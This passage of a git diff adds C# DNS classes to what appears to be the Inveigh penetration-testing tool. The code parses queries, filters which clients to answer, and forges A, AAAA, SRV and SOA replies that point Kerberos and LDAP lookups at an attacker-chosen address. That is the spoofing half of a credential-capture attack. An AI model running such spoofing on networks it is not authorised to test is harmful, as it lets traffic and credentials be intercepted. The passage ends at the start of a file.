+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+
+namespace Quiddity.DNS
+{
+ class DNSChecker
+ {
+ public string[] IgnoreHosts { get; set; }
+ public string[] ReplyToHosts { get; set; }
+ public string[] IgnoreIPs { get; set; }
+ public string[] ReplyToIPs { get; set; }
+ public string[] IgnoreDomains { get; set; }
+ public string[] ReplyToDomains { get; set; }
+ public string[] Types { get; set; }
+ public string[] Services { get; set; }
+ public IList<string> IPCaptures { get; set; }
+ public bool Enabled { get; set; }
+ public bool Inspect { get; set; }
+ public bool IPv6 { get; set; }
+ public bool Local { get; set; }
+ public bool Repeat { get; set; }
+ public string OutputReplyAllowed { get; set; }
+ public string OutputMessage { get; set; }
+ public string OutputInspect { get; set; }
+ public string OutputDisabled { get; set; }
+ public string OutputTypeDenied { get; set; }
+ public string OutputServiceDenied { get; set; }
+ public string OutputHostDenied { get; set; }
+ public string OutputIPDenied { get; set; }
+ public string OutputDomainDenied { get; set; }
+ public string OutputRepeat { get; set; }
+
+ public DNSChecker()
+ {
+ this.OutputReplyAllowed = "response sent";
+ this.OutputInspect = "inspect only";
+ this.OutputDisabled = "disabled";
+ this.OutputHostDenied = "host ignored";
+ this.OutputIPDenied = "IP ignored";
+ this.OutputDomainDenied = "domain ignored";
+ this.OutputTypeDenied = "type ignored";
+ this.OutputServiceDenied = "service ignored";
+ this.OutputRepeat = "previous capture";
+ }
+
+ public bool Check(string name, string type, string clientIP)
+ {
+ if (this.Inspect)
+ {
+ this.OutputMessage = this.OutputInspect;
+ return false;
+ }
+ else if (!this.Enabled)
+ {
+ this.OutputMessage = this.OutputDisabled;
+ return false;
+ }
+ else if (IsRepeat(clientIP))
+ {
+ this.OutputMessage = this.OutputRepeat;
+ return false;
+ }
+ else if (!TypeIsAllowed(type))
+ {
+ this.OutputMessage = this.OutputTypeDenied;
+ return false;
+ }
+ else if (!ServiceIsAllowed(name, type))
+ {
+ this.OutputMessage = this.OutputServiceDenied;
+ return false;
+ }
+ else if (HostIsDenied(name))
+ {
+ this.OutputMessage = this.OutputHostDenied;
+ return false;
+ }
+ else if (!HostIsAllowed(name))
+ {
+ this.OutputMessage = this.OutputIPDenied;
+ return false;
+ }
+ else if (FQDNIsDenied(name))
+ {
+ this.OutputMessage = this.OutputHostDenied;
+ return false;
+ }
+ else if (!FQDNIsAllowed(name))
+ {
+ this.OutputMessage = this.OutputIPDenied;
+ return false;
+ }
+ else if (IPIsDenied(clientIP))
+ {
+ this.OutputMessage = this.OutputIPDenied;
+ return false;
+ }
+ else if (!IPIsAllowed(clientIP))
+ {
+ this.OutputMessage = this.OutputIPDenied;
+ return false;
+ }
+ else if (DomainIsDenied(name))
+ {
+ this.OutputMessage = this.OutputDomainDenied;
+ return false;
+ }
+ else if (!DomainIsAllowed(name))
+ {
+ this.OutputMessage = this.OutputDomainDenied;
+ return false;
+ }
+
+ this.OutputMessage = this.OutputReplyAllowed;
+ return true;
+ }
+
+ public bool IsRepeat(string clientIP)
+ {
+
+ if (!this.Repeat && this.IPCaptures.Contains(clientIP))
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ public bool TypeIsAllowed(string type)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.Types) && (!Array.Exists(this.Types, element => element == type.ToUpper())))
+ {
+ return false;
+ }
+
+ return true;
+ }
+
+ public bool ServiceIsAllowed(string name, string type)
+ {
+
+ if (type.Equals("SRV") && TypeIsAllowed("SRV"))
+ {
+ string service = "";
+
+ if (name.StartsWith("_ldap."))
+ {
+ service = "LDAP";
+ }
+ else if (name.StartsWith("_kerberos."))
+ {
+ service = "Kerberos";
+ }
+ else if (name.StartsWith("_kpassword."))
+ {
+ service = "KPassword";
+ }
+ else if (name.StartsWith("_gc."))
+ {
+ service = "GC";
+ }
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.Services) && (!Array.Exists(this.Services, element => element == service.ToUpper())))
+ {
+ return false;
+ }
+ }
+
+ return true;
+ }
+
+ public bool HostIsDenied(string name)
+ {
+ string host = (name.Split('.'))[0];
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.IgnoreHosts) && Array.Exists(this.IgnoreHosts, element => element == host.ToUpper()))
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ public bool HostIsAllowed(string name)
+ {
+ string host = (name.Split('.'))[0];
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.ReplyToHosts) && !Array.Exists(this.ReplyToHosts, element => element == host.ToUpper()))
+ {
+ return false;
+ }
+
+ return true;
+ }
+
+ public bool FQDNIsDenied(string name)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.IgnoreHosts) && Array.Exists(this.IgnoreHosts, element => element == name.ToUpper()))
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ public bool FQDNIsAllowed(string name)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.ReplyToHosts) && !Array.Exists(this.ReplyToHosts, element => element == name.ToUpper()))
+ {
+ return false;
+ }
+
+ return true;
+ }
+
+ public bool IPIsDenied(string clientIP)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.IgnoreIPs) && Array.Exists(this.IgnoreIPs, element => element == clientIP.ToUpper()))
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ public bool IPIsAllowed(string clientIP)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.ReplyToIPs) && !Array.Exists(this.ReplyToIPs, element => element == clientIP.ToUpper()))
+ {
+ return false;
+ }
+
+ return true;
+ }
+
+ public bool DomainIsDenied(string domain)
+ {
+ int index = domain.IndexOf(".");
+
+ while (index > -1)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.IgnoreDomains) && Array.Exists(this.IgnoreDomains, element => element == domain.ToUpper()))
+ {
+ return true;
+ }
+
+
+ index = domain.IndexOf(".");
+
+ if (index > -1)
+ {
+ domain = domain.Substring(index).TrimStart('.');
+ }
+
+ }
+
+ return false;
+ }
+
+ public bool DomainIsAllowed(string domain)
+ {
+ int index = domain.IndexOf(".");
+
+ if (index == -1 || Utilities.ArrayIsNullOrEmpty(this.ReplyToDomains))
+ {
+ return true;
+ }
+
+ while (index > -1)
+ {
+
+ if (Array.Exists(this.ReplyToDomains, element => element == domain.ToUpper()))
+ {
+ return true;
+ }
+
+ index = domain.IndexOf(".");
+
+ if (index > -1)
+ {
+ domain = domain.Substring(index).TrimStart('.');
+ }
+
+ }
+
+ return false;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSHeader.cs b/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSHeader.cs
new file mode 100644
index 0000000..fbdde7b
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSHeader.cs
@@ -0,0 +1,169 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.IO;
+
+namespace Quiddity.DNS
+{
+ public class DNSHeader
+ {
+ // https://tools.ietf.org/html/rfc1035
+ public byte[] ID { get; set; }
+ public bool QR { get; set; } // 1 bit
+ public string Opcode { get; set; } // 4 bit
+ public bool AA { get; set; } // 1 bit
+ public bool TC { get; set; } // 1 bit
+ public bool RD { get; set; } // 1 bit
+ public bool RA { get; set; } // 1 bit
+ public string Z { get; set; } // reserved
+ public string RCode { get; set; } // 4 bit
+ public ushort QDCount { get; set; }
+ public ushort ANCount { get; set; }
+ public ushort NSCount { get; set; }
+ public ushort ARCount { get; set; }
+
+ // custom
+ public byte[] Flags { get; set; }
+
+ public DNSHeader()
+ {
+
+ }
+
+ public DNSHeader(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.ID = packetReader.ReadBytes(2);
+ this.Flags = packetReader.BigEndianReadBytes(2);
+ this.QDCount = packetReader.BigEndianReadUInt16();
+ this.ANCount = packetReader.BigEndianReadUInt16();
+ this.NSCount = packetReader.BigEndianReadUInt16();
+ this.ARCount = packetReader.BigEndianReadUInt16();
+ }
+
+ ReadFlags();
+ }
+
+ public byte[] GetBytes()
+ {
+ WriteFlags();
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.ID);
+ packetWriter.Write(this.Flags);
+ packetWriter.BigEndianWrite(this.QDCount);
+ packetWriter.BigEndianWrite(this.ANCount);
+ packetWriter.BigEndianWrite(this.NSCount);
+ packetWriter.BigEndianWrite(this.ARCount);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ protected virtual void ReadFlags()
+ {
+ string flags = Convert.ToString(BitConverter.ToUInt16(this.Flags, 0), 2).PadLeft(16, '0');
+
+ if (String.Equals(flags.Substring(0, 1), "1"))
+ {
+ this.QR = true;
+ }
+
+ this.Opcode = flags.Substring(1, 4);
+
+ if (String.Equals(flags.Substring(5, 1), "1"))
+ {
+ this.AA = true;
+ }
+
+ if (String.Equals(flags.Substring(6, 1), "1"))
+ {
+ this.TC = true;
+ }
+
+ if (String.Equals(flags.Substring(7, 1), "1"))
+ {
+ this.RD = true;
+ }
+
+ if (String.Equals(flags.Substring(7, 1), "1"))
+ {
+ this.RA = true;
+ }
+
+ this.Z = flags.Substring(8, 3);
+ this.RCode = flags.Substring(12, 4);
+ }
+
+ protected virtual void WriteFlags()
+ {
+ string flags = this.QR ? "1" : "0";
+ flags += this.Opcode;
+ flags += this.AA ? "1" : "0";
+ flags += this.TC ? "1" : "0";
+ flags += this.RD ? "1" : "0";
+ flags += this.RA ? "1" : "0";
+ flags += this.Z;
+ flags += this.RCode;
+ byte[] bytes = new byte[2];
+
+ for (int i = 0; i < 2; ++i)
+ {
+ bytes[i] = Convert.ToByte(flags.Substring(8 * i, 8), 2);
+ }
+
+ this.Flags = bytes;
+ }
+
+ public bool IsQuery()
+ {
+ if (!this.QR && this.QDCount == 1)
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSPacket.cs b/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSPacket.cs
new file mode 100644
index 0000000..b18b50b
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSPacket.cs
@@ -0,0 +1,185 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.DNS
+{
+ class DNSPacket
+ {
+ public DNSHeader Header { get; set; }
+ public DNSQuestion Question { get; set; }
+ public DNSResource Resource { get; set; }
+ public DNSResource Additional { get; set; }
+
+ public uint TTL { get; set; }
+ public string Host { get; set; }
+
+ enum ServicePort : ushort
+ {
+ Kerberos = 88,
+ LDAP = 389,
+ KPassword = 464,
+ GC = 3268
+ }
+
+ public DNSPacket()
+ {
+ }
+
+ public DNSPacket(byte[] data)
+ {
+ ReadBytes(data);
+ }
+
+ public DNSPacket ReadBytes(byte[] data)
+ {
+ this.Header = new DNSHeader(data);
+ this.Question = new DNSQuestion(data);
+ return this;
+ }
+
+ public byte[] GetBytes(uint ttl, uint serial, string replyIP, string replyIPv6)
+ {
+ byte[] rdata = new byte[0];
+ ushort arCount = 0;
+ ushort index = 12;
+ index |= (1 << 15); // set first 2 bits to 1 to indicate compression is being used
+ index |= (1 << 14);
+ byte[] indexData = BitConverter.GetBytes(index);
+ Array.Reverse(indexData);
+ byte[] nameData = this.Question.QName;
+
+ switch (this.Question.Type)
+ {
+ case "A":
+ arCount = 0;
+ rdata = new DNSRecordA(replyIP).GetBytes();
+ break;
+
+ case "AAAA":
+ arCount = 0;
+
+ if (!String.IsNullOrEmpty(replyIPv6))
+ {
+ rdata = new DNSRecordAAAA(replyIPv6).GetBytes();
+ }
+
+ break;
+
+ case "SRV":
+ arCount = 1;
+ nameData = indexData;
+ index += (ushort)(this.Question.QName.Length + 14);
+ ushort port = 0;
+
+ if (this.Question.Name.StartsWith("_ldap."))
+ {
+ port = (ushort)ServicePort.LDAP;
+ }
+ else if (this.Question.Name.StartsWith("_kerberos."))
+ {
+ port = (ushort)ServicePort.Kerberos;
+ }
+ else if (this.Question.Name.StartsWith("_kpassword."))
+ {
+ port = (ushort)ServicePort.KPassword;
+ }
+ else if (this.Question.Name.StartsWith("_gc."))
+ {
+ port = (ushort)ServicePort.GC;
+ }
+
+ rdata = new DNSRecordSRV().GetBytes(this.Host, port);
+ break;
+
+ case "SOA":
+ arCount = 1;
+ rdata = new DNSRecordSOA(serial).GetBytes(this.Host, 12);
+ index += (ushort)(this.Question.QName.Length + 14);
+ break;
+ }
+
+ this.Header = new DNSHeader
+ {
+ ID = this.Header.ID,
+ QR = true,
+ Opcode = "0000",
+ AA = false,
+ TC = false,
+ RD = false,
+ RA = false,
+ Z = "000",
+ RCode = "0000",
+ QDCount = 1,
+ ANCount = 1,
+ ARCount = arCount
+ };
+
+ this.Resource = new DNSResource
+ {
+ Name = nameData,
+ Type = this.Question.QType,
+ Class = this.Question.QClass,
+ TTL = ttl,
+ RDLength = (ushort)rdata.Length,
+ RData = rdata
+ };
+
+ if (arCount == 1)
+ {
+ this.Resource.Name = indexData;
+ indexData = BitConverter.GetBytes(index);
+ Array.Reverse(indexData);
+
+ this.Additional = new DNSResource
+ {
+ Name = indexData,
+ Type = new byte[] { 0x00, 0x01 },
+ Class = this.Question.QClass,
+ TTL = ttl,
+ RDLength = 4,
+ RData = new DNSRecordA(replyIP).GetBytes()
+ };
+
+ return Utilities.BlockCopy(this.Header.GetBytes(), this.Question.GetBytes(), this.Resource.GetBytes(), this.Additional.GetBytes());
+ }
+
+ return Utilities.BlockCopy(this.Header.GetBytes(), this.Question.GetBytes(), this.Resource.GetBytes());
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSQuestion.cs b/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSQuestion.cs
new file mode 100644
index 0000000..34e2fcb
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSQuestion.cs
@@ -0,0 +1,193 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.IO;
+using System.Text;
+
+namespace Quiddity.DNS
+{
+ class DNSQuestion
+ {
+
+ // https://tools.ietf.org/html/rfc1035
+ public byte[] QName { get; set; }
+ public byte[] QType { get; set; }
+ public byte[] QClass { get; set; }
+
+ // Custom
+ public string Name { get; set; }
+ public string Type { get; set; }
+
+ public DNSQuestion()
+ {
+ this.QName = new byte[0];
+ this.QType = new byte[0];
+ this.QClass = new byte[0];
+ }
+
+ public DNSQuestion(byte[] data)
+ {
+ ReadBytes(data, 12);
+ }
+
+ public DNSQuestion(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+ int segmentLength = data[offset];
+ int lengthIndex = offset;
+ int length = segmentLength + 1;
+
+ do
+ {
+ lengthIndex += segmentLength + 1;
+ segmentLength = data[lengthIndex];
+ length += segmentLength + 1;
+ }
+ while (segmentLength != 0);
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.QName = packetReader.ReadBytes(length);
+ this.QType = packetReader.ReadBytes(2);
+ this.QClass = packetReader.ReadBytes(2);
+ }
+
+ this.Name = ConvertName();
+ this.Type = GetType();
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.QName);
+ packetWriter.Write(this.QType);
+ packetWriter.Write(this.QClass);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ protected virtual string ConvertName()
+ {
+ string hostname = "";
+ int hostnameLength = this.QName[0];
+ int index = 0;
+ int i = 0;
+
+ do
+ {
+ int hostnameSegmentLength = hostnameLength;
+ byte[] hostnameSegment = new byte[hostnameSegmentLength];
+ Buffer.BlockCopy(this.QName, (index + 1), hostnameSegment, 0, hostnameSegmentLength);
+ hostname += Encoding.UTF8.GetString(hostnameSegment);
+ index += hostnameLength + 1;
+ hostnameLength = this.QName[index];
+ i++;
+
+ if (hostnameLength > 0)
+ {
+ hostname += ".";
+ }
+
+ }
+ while (hostnameLength != 0 && i <= 127);
+
+ return hostname;
+ }
+
+ protected new virtual string GetType()
+ {
+ string type = "";
+
+ switch (BitConverter.ToString(this.QType))
+ {
+
+ case "00-01":
+ type = "A";
+ break;
+
+ case "00-1C":
+ type = "AAAA";
+ break;
+
+ case "00-05":
+ type = "CNAME";
+ break;
+
+ case "00-27":
+ type = "DNAME";
+ break;
+
+ case "00-0F":
+ type = "MX";
+ break;
+
+ case "00-02":
+ type = "NS";
+ break;
+
+ case "00-0C":
+ type = "PTR";
+ break;
+
+ case "00-06":
+ type = "SOA";
+ break;
+
+ case "00-21":
+ type = "SRV";
+ break;
+
+ case "00-10":
+ type = "TXT";
+ break;
+
+ case "00-FF":
+ type = "ANY";
+ break;
+
+ }
+
+ return type;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSResource.cs b/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSResource.cs
new file mode 100644
index 0000000..258a08c
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSResource.cs
@@ -0,0 +1,122 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System.IO;
+using System.Net;
+
+namespace Quiddity.DNS
+{
+
+ class DNSResource
+ {
+
+ // https://tools.ietf.org/html/rfc1035
+ public byte[] Name { get; set; }
+ public byte[] Type { get; set; }
+ public byte[] Class { get; set; }
+ public uint TTL { get; set; }
+ public ushort RDLength{ get; set; }
+ public byte[] RData { get; set; }
+
+ //custom
+ public string Host { get; set; }
+
+ public DNSResource()
+ {
+
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.Name = packetReader.ReadBytes(2);
+ this.Type = packetReader.ReadBytes(2);
+ this.Class = packetReader.ReadBytes(2);
+ this.TTL = packetReader.ReadUInt32();
+ this.RDLength = packetReader.ReadUInt16();
+ this.RData = packetReader.ReadBytes(this.RDLength);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.Name);
+ packetWriter.Write(this.Type);
+ packetWriter.Write(this.Class);
+ packetWriter.BigEndianWrite(this.TTL);
+ packetWriter.BigEndianWrite(this.RDLength);
+ packetWriter.Write(this.RData);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public byte[] GetBytes(DNSQuestion RequestQuestion, uint ttl, string data, byte[] id)
+ {
+ byte[] rdata = IPAddress.Parse(data).GetAddressBytes();
+
+ DNSHeader responseHeader = new DNSHeader
+ {
+ ID = id,
+ QR = true,
+ Opcode = "0000",
+ AA = false,
+ TC = false,
+ RD = false,
+ RA = false,
+ Z = "000",
+ RCode = "0000",
+ QDCount = 1,
+ ANCount = 1
+ };
+
+ this.Name = RequestQuestion.QName;
+ this.Type = RequestQuestion.QType;
+ this.Class = RequestQuestion.QClass;
+ this.TTL = ttl;
+ this.RDLength = (ushort)rdata.Length;
+ this.RData = rdata;
+
+ return Utilities.BlockCopy(responseHeader.GetBytes(), RequestQuestion.GetBytes(), this.GetBytes());
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordA.cs b/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordA.cs
new file mode 100644
index 0000000..7d15405
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordA.cs
@@ -0,0 +1,33 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.DNS
+{
+ class DNSRecordA
+ {
+ public byte[] Address { get; set; }
+
+ public DNSRecordA()
+ {
+
+ }
+
+ public DNSRecordA(string address)
+ {
+ this.Address = IPAddress.Parse(address).GetAddressBytes();
+ }
+ public byte[] GetBytes()
+ {
+ return this.Address;
+ }
+
+ public byte[] GetBytes(string address)
+ {
+ return IPAddress.Parse(address).GetAddressBytes();
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordAAAA.cs b/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordAAAA.cs
new file mode 100644
index 0000000..ca63c6b
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordAAAA.cs
@@ -0,0 +1,34 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.DNS
+{
+ class DNSRecordAAAA
+ {
+
+ public byte[] Address { get; set; }
+
+ public DNSRecordAAAA()
+ {
+
+ }
+
+ public DNSRecordAAAA(string address)
+ {
+ this.Address = IPAddress.Parse(address).GetAddressBytes();
+ }
+ public byte[] GetBytes()
+ {
+ return this.Address;
+ }
+
+ public byte[] GetBytes(string address)
+ {
+ return IPAddress.Parse(address).GetAddressBytes();
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordSOA.cs b/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordSOA.cs
new file mode 100644
index 0000000..23fcfe7
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordSOA.cs
@@ -0,0 +1,85 @@
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
